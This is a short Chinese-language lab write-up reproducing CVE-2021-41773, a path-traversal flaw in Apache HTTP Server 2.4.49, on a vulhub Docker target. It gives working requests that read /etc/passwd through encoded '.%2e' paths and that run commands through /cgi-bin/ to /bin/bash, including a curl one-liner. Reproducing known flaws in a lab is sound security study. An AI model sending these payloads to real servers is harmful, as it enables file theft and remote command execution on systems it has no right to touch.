跳到主要内容

CVE-2021-41773

复现环境:vulhub

影响范围:Apache HTTP Server 2.4.49

形成原因

老版本中值处理了/xx/../这种路径,没有正确处理/xx/.%2e/这种路径,导致%2e(.)被进行转义处理,从而发生路径穿越

这里要注意不能是/xx/%2e./,但可以有/%2e%2e//%2%65%2e//.%2%65/等(只要一开始的路径不为../且二次解码后的路径任为../则满足条件)

根目录不受影响

详细原理参考https://www.anquanke.com/post/id/256973

复现

启动docker,将靶场映射到8080端口(默认),访问icons目录,显示如下

image-20220905210242832

路径穿越

burp抓包并修改路径为/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd,然后发包,成功读取到passwd文件

这里要注意icons必须为apache服务器所存在的这么一个目录

image-20220905210706559

命令执行

实现条件:服务器启用mods cgi或cgid

例如在/etc/httpd/httpd.conf配置文件中去掉modules/mod_cgid.so这行注释

访问/cgi-bin/目录,burp抓包,修改为POST请求后更改路径为/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash然后请求体发送echo;id

image-20220905214043762

或者可以使用curl参数传递POST,例如curl -d 'echo;id' "http://192.168.20.139:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash"

image-20220905214919343